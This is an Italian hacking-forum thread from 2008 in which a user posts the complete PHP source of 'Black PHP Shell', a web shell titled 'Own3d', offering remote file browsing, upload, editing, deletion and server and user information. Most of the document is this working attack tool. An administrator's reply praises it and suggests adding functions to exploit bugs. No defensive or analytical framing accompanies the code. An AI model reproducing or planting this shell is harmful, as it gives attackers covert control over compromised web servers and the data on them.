Il Forum di Orebla.it

Benvenuto nella community di Orebla.it
Oggi è dom 16 feb, 2020 8:18 pm

Tutti gli orari sono UTC + 1 ora




Apri un nuovo argomento Rispondi all’argomento  [ 2 messaggi ] 
Autore Messaggio
 Oggetto del messaggio: [PHP] Black shell
Messaggio da leggereInviato: ven 15 feb, 2008 10:09 am 
Non connesso
super-guru
super-guru
Avatar utente

Iscritto il: mar 28 dic, 2004 6:54 pm
Messaggi: 300
Località: Pisa
Dato che ero rimasto l'unico sviluppatore a non averne fatta ancora una, ecco a voi l'unica inimitabile Black shell v.0.1 in PHP. Per ora supporta navigazione nel filesystem, upload, modifica e cancellazione di file, gestione dei permessi e delle informazioni del server.

Codice:
<html>
   <head>
      <title>~~~Own3d by Black PHP Shell~~~</title>
      <style type="text/css">
         a  {
            text-decoration: none;
            display: block;
         }

         a img  {
            border: 0;
         }

         #view tr:hover  {
            background-color: #EEE;
         }

         input:hover  {
            background-color: #EEE;
         }
      </style>
   </head>

   <body background="http://img34.picoodle.com/img/img34/4/2/8/f_backm_0c905a6.png" link="#444444" vlink="#444444">
      <h1 align="center" style='text-decoration: underline; color: #888;'>
         <i>Black PHP Shell</i>
      </h1>

      <table border=0 style='color: #666; font-family: Courier; font-size: 12px;'>

<?php
function getperms($f)  {
   $mode=fileperms($f);

   $perm='';
   $perm .= ($mode & 00400) ? 'r' : '-';
   $perm .= ($mode & 00200) ? 'w' : '-';
   $perm .= ($mode & 00100) ? 'x' : '-';
   $perm .= ($mode & 00040) ? 'r' : '-';
   $perm .= ($mode & 00020) ? 'w' : '-';
   $perm .= ($mode & 00010) ? 'x' : '-';
   $perm .= ($mode & 00004) ? 'r' : '-';
   $perm .= ($mode & 00002) ? 'w' : '-';
   $perm .= ($mode & 00001) ? 'x' : '-';

   return $perm;
}

print "<tr><td>Host</td><td><b>".$_SERVER['SERVER_NAME']."</b></td></tr>";
print "<tr><td>Server</td><td><b>".$_SERVER['SERVER_SOFTWARE']."</b></td></tr>";
if (is_callable("php_uname"))
   print "<tr><td>Sistema operativo</td><td><b>".php_uname()."</b></td></tr>";

if (is_callable("posix_getuid") and is_callable("posix_getgid"))  {
   $uid=posix_getuid();
   $uname=posix_getpwuid($uid);
   $uname=$uname['name'];

   $gid=posix_getgid();
   $gname=posix_getgrgid($gid);
   $gname=$gname['name'];
   
   print "<tr><td>UID</td><td><b>$uid ($uname)</b></td></tr>";
   print "<tr><td>GID</td><td><b>$gid ($gname)</b></td></tr>";
}

print "</table><br><br>";
$_SERVER['REQUEST_URI'].='?';

if (!isset($_GET['file']))  {
?>

<form enctype="multipart/form-data" action="<?php
   print $_SERVER['REQUEST_URI']."&do_upload=true";

   if ($_GET["dir"])  {
      $dir=htmlentities($_GET['dir']);
      print "&dir=$dir"; } ?>" method=POST>

   <input type="hidden" name="MAX_FILE_SIZE" value="200000000"/>
   <table border=0>
      <tr>
           <td>Carica un file</td>
         <td><input type="file" name="userfile"/></td>
      </tr>

      <tr>
         <td></td>
         <td><input type="submit" value="Invia"/></td>
      </tr>
   </table>
</form>

<?php
}

#
# Upload di file
#
if ($_GET['do_upload']==="true" and !isset($_GET['dofile']) and !isset($_GET['file']))  {
   if ($_GET["dir"])
      $dir=$_GET["dir"];
   else
      $dir=getcwd();

   $uploadfile=$dir."/".basename($_FILES['userfile']['name']);

   if (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile))  {
      print "File caricato con successo<br>\n";
      print "Nome file: <b>".$_FILES['userfile']['name']."</b><br>".
         "\nTipo: ".$_FILES['userfile']['type']."<br>\n".
         "Dimensione: ".$_FILES['userfile']['size']." bytes<br>\n";
   }

   else print "Errore nel caricamento del file ".$_FILES['userfile']['name']."<br>\n";
}

#
# Modifica o cancellazione di file
#
if (isset($_GET['dofile']))  {
   $ref=$_SERVER['HTTP_REFERER'];
   $fname=htmlentities($_GET['dofile']);
   $content=$_POST['content'];

   #
   # Modifica
   #
   if (isset($_POST['save']))  {
      if (!($fp=fopen($fname,"w")))
         die ("Impossibile scrivere sul file <b>$fname</b><br>\n");

      fputs ($fp,$content);
      fclose($fp);

      print ("Modifiche sul file <b>$fname</b> apportate con successo<br><br>\n");
   }

   #
   # Cancellazione
   #
   if (isset($_POST['remove']))  {
      unlink ($fname) or die ("Impossibile rimuovere il file <b>$fname</b><br>\n");
      print "File <b>$fname</b> rimosso con successo<br><br>\n";
   }
}

#
# Visualizzazione di file
#
if (isset($_GET['file']) and !isset($_GET['dofile']))  {
   print "<i>Attenzione: La modifica o la cancellazione di un file è possibile se e soltanto se ".
      "quel file ha i permessi di scrittura per tutti</i><br><br>\n";

   $fname=htmlentities($_GET['file']);
   $file=file($fname) or die ("Impossibile aprire <b>$fname</b><br>\n");

   print "<form action=\"".$_SERVER['REQUEST_URI']."&dofile=$fname\" method=\"POST\">\n";
   print "<textarea rows=20 cols=80 name=\"content\">";

   for ($i=0; $i<count($file); $i++)
      print htmlentities($file[$i]);

   print "</textarea><br><br>\n";
   print "<input type=\"submit\" value=\"Salva le modifiche al file\" name=\"save\">\n";
   print "<input type=\"submit\" value=\"Cancella file\" name=\"remove\">\n";
   print "</form>\n";
}

#
# Visualizzazione del contenuto di una directory
#
if (isset($_GET['dir']))
   $path=htmlentities($_GET['dir']);
else
   $path=getcwd();

$dp=opendir($path) or die("Impossibile aprire <b>$path</b><br>\n");
chdir ($path);

print "<div id=\"view\"><hr height=1 width=\"100%\">\n";
print "Directory corrente: <b>".getcwd()."</b><br><br>\n\n";
$dir=array();

while ($file=readdir($dp))
   if (strcmp(".",$file))
      array_push($dir,"$path/$file");

closedir($dp);
sort($dir);

?>

<table border=0 width="100%">
<?php
for ($i=0; $i<count($dir); $i++)  {
   print "<tr style='font-family: Arial; font-size: 11px;'>\n";

   #
   # Directory superiore
   #
   if (basename($dir[$i])==="..")  {
      $tmp=split('/',getcwd());
      $new="";

      for ($j=0; $j<count($tmp)-1; $j++)
         $new .= $tmp[$j]."/";
      
   print "<td width=\"40px\"><a href=\"".$_SERVER['REQUEST_URI']."&dir=$new\"><img src=\"http://img32.picoodle.com/img/img32/4/2/8/f_upm_cacf553.gif\" alt=\"..\" width=20 height=20></a></td>\n";
      print "<td><a href=\"".$_SERVER['REQUEST_URI']."&dir=$new\">Directory superiore</a></td><td></td></tr>\n";
   }

   #
   # Directory
   #
   if (is_dir($dir[$i]))  {
      if (basename($dir[$i])!='..')  {
         print "<td width=\"40px\"><a href=\"".$_SERVER['REQUEST_URI']."&dir=$dir[$i]\"><img src=\"http://img34.picoodle.com/img/img34/4/2/8/f_directorym_9967091.gif\" alt=\".\" width=20 height=20></a></td>\n";
         print "<td><a href=\"".$_SERVER['REQUEST_URI']."&dir=$dir[$i]\">".
            basename($dir[$i])."</a></td><td><font color=\"#222222\">DIR</font></td></tr>\n";
      }
   }
   
   #
   # File comune
   #
   else  {
      if (basename($dir[$i])!='..')  {
         print "<td width=\"40px\"><a href=\"".$_SERVER['REQUEST_URI']."&file=$dir[$i]\"><img src=\"http://img03.picoodle.com/img/img03/4/2/8/f_filem_27c273b.png\" alt=\".\" width=20 height=20></a></td>\n";
         print "<td><a href=\"".$_SERVER['REQUEST_URI']."&file=$dir[$i]\">".basename($dir[$i])."</a></td><td><font color=\"#666666\">".getperms($dir[$i])."</font></td></tr>\n";
      }
   }
}

print "</table></div>\n";
?>
      
      </body>
</html>

_________________
Immagine
Immagine


Top
 Profilo  
 
 Oggetto del messaggio: Re: [PHP] Black shell
Messaggio da leggereInviato: dom 17 feb, 2008 11:10 am 
Non connesso
Amministratore
Amministratore
Avatar utente

Iscritto il: lun 27 dic, 2004 10:32 am
Messaggi: 2614
Località: Ferrara
Ti correggo, anche io non ho mai fatto una shell. Mi ha sempre fatto comodo usare quelle già pronte!!

Cmq è una shell ben fatta, sopratutto perchè ci hai messo anche le icone e lo sfondo!!
Magari potresti aggiungere qualche funzione, tipo per sfruttare qualche bug! :D

_________________
I'm so happy because today
I've found my friends ...
They're in my head

[NIRVANA - LITHIUM]
Il Blog del disperato: http://blog.orebla.it


Top
 Profilo  
 
Visualizza ultimi messaggi:  Ordina per  
Apri un nuovo argomento Rispondi all’argomento  [ 2 messaggi ] 

Tutti gli orari sono UTC + 1 ora


{ RELATED_TOPICS }
 Argomenti   Autore   Risposte   Visite    Ultimo messaggio 
Non ci sono nuovi messaggi in questo argomento. blash - AJAX shell-oriented CMS

BlackLight

0

2414

sab 25 dic, 2010 10:44 am

BlackLight Vedi ultimi messaggi

 


Chi c’è in linea

Visitano il forum: Nessuno e 1 ospite


Non puoi aprire nuovi argomenti
Non puoi rispondere negli argomenti
Non puoi modificare i tuoi messaggi
Non puoi cancellare i tuoi messaggi
Non puoi inviare allegati

Cerca per:
Vai a:  
cron
Powered by phpBB® Forum Software © phpBB Group
Traduzione Italiana phpBBItalia.net basata su phpBB.it 2010
phpBB SEO